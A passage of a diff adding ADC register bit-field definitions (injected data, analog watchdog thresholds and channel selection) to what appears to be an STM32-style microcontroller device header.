ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when 